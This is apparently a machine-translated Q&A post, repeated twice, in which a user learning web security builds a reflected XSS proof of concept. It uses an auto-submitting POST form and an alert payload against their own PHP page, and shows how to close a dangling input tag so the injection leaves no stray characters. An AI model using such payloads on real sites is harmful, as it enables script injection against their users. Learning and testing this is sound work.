XSS PoC:在 DOM 中隐藏呈现的字符
XSS PoC: Hide Rendered Characters in DOM
我已经开始玩 XSS 以更好地改善我在工作中的安全状况。我已经能够使用重定向的 POST 形式成功利用反射 XSS 攻击,但我似乎无法删除页面上显示的无关字符。
我检查过:
XSS: Character showing in DOM
How to load javascript on another webpage through XSS?
但是 none 的建议似乎对我有用。
我的漏洞利用是一种基本形式,利用 PHP 服务器端脚本我已经配置回显 $_POST['username']
到值属性:
<form id=1 method="post" action="http://vulnerable.site.com">
<input type="hidden" name="username"
value=""><script>alert('Hello');</script>"">
</form>
<script>
document.getElementById(1).submit();
</script>
未编码:
<form id=1 method="post" action="http://vulnerable.site.com">
<input type="hidden" name="username"
value=""><script>alert('Hello');</script>">
</form>
<script>
document.getElementById(1).submit();
</script>
但是这个讨厌的">
不会死:
我试过:
- 通过添加 OWASP
推荐的额外字符的几种过滤器规避技术
- 将
">
转义为 ">
- 这会导致语法错误,并且删除前导引号会破坏有效负载。但是,基于上面链接的资源,基于评论似乎是可能的
- 使用 CSS 选择器隐藏我的攻击负载中的字符(使用开发工具,
">
显示为 #text
所以我认为这可能有效)
我确定这很愚蠢,但我错过了什么?这显然是可能的,但我不是熟练的网络开发人员(因此摆弄)。如有任何反馈或建议,我们将不胜感激!
经过数小时的反复试验,我最终弄明白了。这个想法是用一个单独的标签来关闭悬挂标签:
所以之前的有效载荷是:
"><script>alert('Hello');</script>
在 PHP 脚本解析后,它看起来像这样:
<input type="text" name="username" value="">"> <!-- notice the dangling tag -->
添加结束输入标签后,解决方案有效:
"><script>alert('Hello');</script><input type="hidden" value="
和PHP解析的输出:
<input type="text" name="username" value=""><script>alert('Hello');</script><input type="hidden" value="">
请注意,以上内容需要 HTML 编码才能正常工作。为了便于阅读,我省略了它。
我已经开始玩 XSS 以更好地改善我在工作中的安全状况。我已经能够使用重定向的 POST 形式成功利用反射 XSS 攻击,但我似乎无法删除页面上显示的无关字符。
我检查过:
XSS: Character showing in DOM
How to load javascript on another webpage through XSS?
但是 none 的建议似乎对我有用。
我的漏洞利用是一种基本形式,利用 PHP 服务器端脚本我已经配置回显 $_POST['username']
到值属性:
<form id=1 method="post" action="http://vulnerable.site.com">
<input type="hidden" name="username"
value=""><script>alert('Hello');</script>"">
</form>
<script>
document.getElementById(1).submit();
</script>
未编码:
<form id=1 method="post" action="http://vulnerable.site.com">
<input type="hidden" name="username"
value=""><script>alert('Hello');</script>">
</form>
<script>
document.getElementById(1).submit();
</script>
但是这个讨厌的">
不会死:
我试过:
- 通过添加 OWASP 推荐的额外字符的几种过滤器规避技术
- 将
">
转义为">
- 这会导致语法错误,并且删除前导引号会破坏有效负载。但是,基于上面链接的资源,基于评论似乎是可能的 - 使用 CSS 选择器隐藏我的攻击负载中的字符(使用开发工具,
">
显示为#text
所以我认为这可能有效)
我确定这很愚蠢,但我错过了什么?这显然是可能的,但我不是熟练的网络开发人员(因此摆弄)。如有任何反馈或建议,我们将不胜感激!
经过数小时的反复试验,我最终弄明白了。这个想法是用一个单独的标签来关闭悬挂标签:
所以之前的有效载荷是:
"><script>alert('Hello');</script>
在 PHP 脚本解析后,它看起来像这样:
<input type="text" name="username" value="">"> <!-- notice the dangling tag -->
添加结束输入标签后,解决方案有效:
"><script>alert('Hello');</script><input type="hidden" value="
和PHP解析的输出:
<input type="text" name="username" value=""><script>alert('Hello');</script><input type="hidden" value="">
请注意,以上内容需要 HTML 编码才能正常工作。为了便于阅读,我省略了它。